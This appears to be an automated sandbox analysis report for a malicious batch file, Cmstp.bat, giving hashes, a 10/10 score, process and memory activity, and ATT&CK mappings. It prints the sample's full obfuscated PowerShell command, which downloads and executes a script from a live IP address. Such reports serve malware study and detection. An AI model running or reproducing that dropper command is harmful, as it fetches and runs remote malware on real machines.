3264d09d3a398417226b7d346c2fc4757ffa445373763e2d7c2f18ef6edb2354

Analysis

max time kernel
119s
max time network
125s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
18-10-2024 17:21

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General

Target

Cmstp.bat
Size

264B
MD5

31254e5f0a767dba0d013d83d8949be8
SHA1

a5f59a60307eb142d30c3ff14b9b916dce8b3733
SHA256

1521435d9d3fb9dc5b08494130f2118b073a6bc6dc233e3ec404225a57b9c4b3
SHA512

c97829934e12efe7d8b78c177666ce1fe30c6a77e6617c06f8a0c23cd4a59a1ec625ee3edc72fe512ce79b56e4f3be716be6bd5ab4089b4ccdbb48b5b56a12d1

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://44.203.122.41:80/Obexe.ps1

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 2940 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2940 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2940 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2940 powershell.exe

flow	pid	process
2	2940	powershell.exe

pid	process
2940	powershell.exe

pid	process
2940	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2940	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1852 wrote to memory of 2940	1852	cmd.exe	powershell.exe
PID 1852 wrote to memory of 2940	1852	cmd.exe	powershell.exe
PID 1852 wrote to memory of 2940	1852	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Cmstp.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -Command "&('{0}{1}'-f 'IE','X') ((&('{3}{2}{0}{1}' -f '-Obje','ct','w','Ne') ('{0}{1}{3}{2}' -f 'N','et.W','t','ebClien')).('{1}{3}{2}{0}'-f'String','Do','d','wnloa').Invoke('http://44.203.122.41:80/Obexe.ps1'))"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2940-4-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

Filesize
4KB

Download
memory/2940-5-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2940-7-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2940-6-0x0000000002180000-0x0000000002188000-memory.dmp

Filesize
32KB

Download
memory/2940-8-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2940-9-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2940-10-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2940-11-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2940-12-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download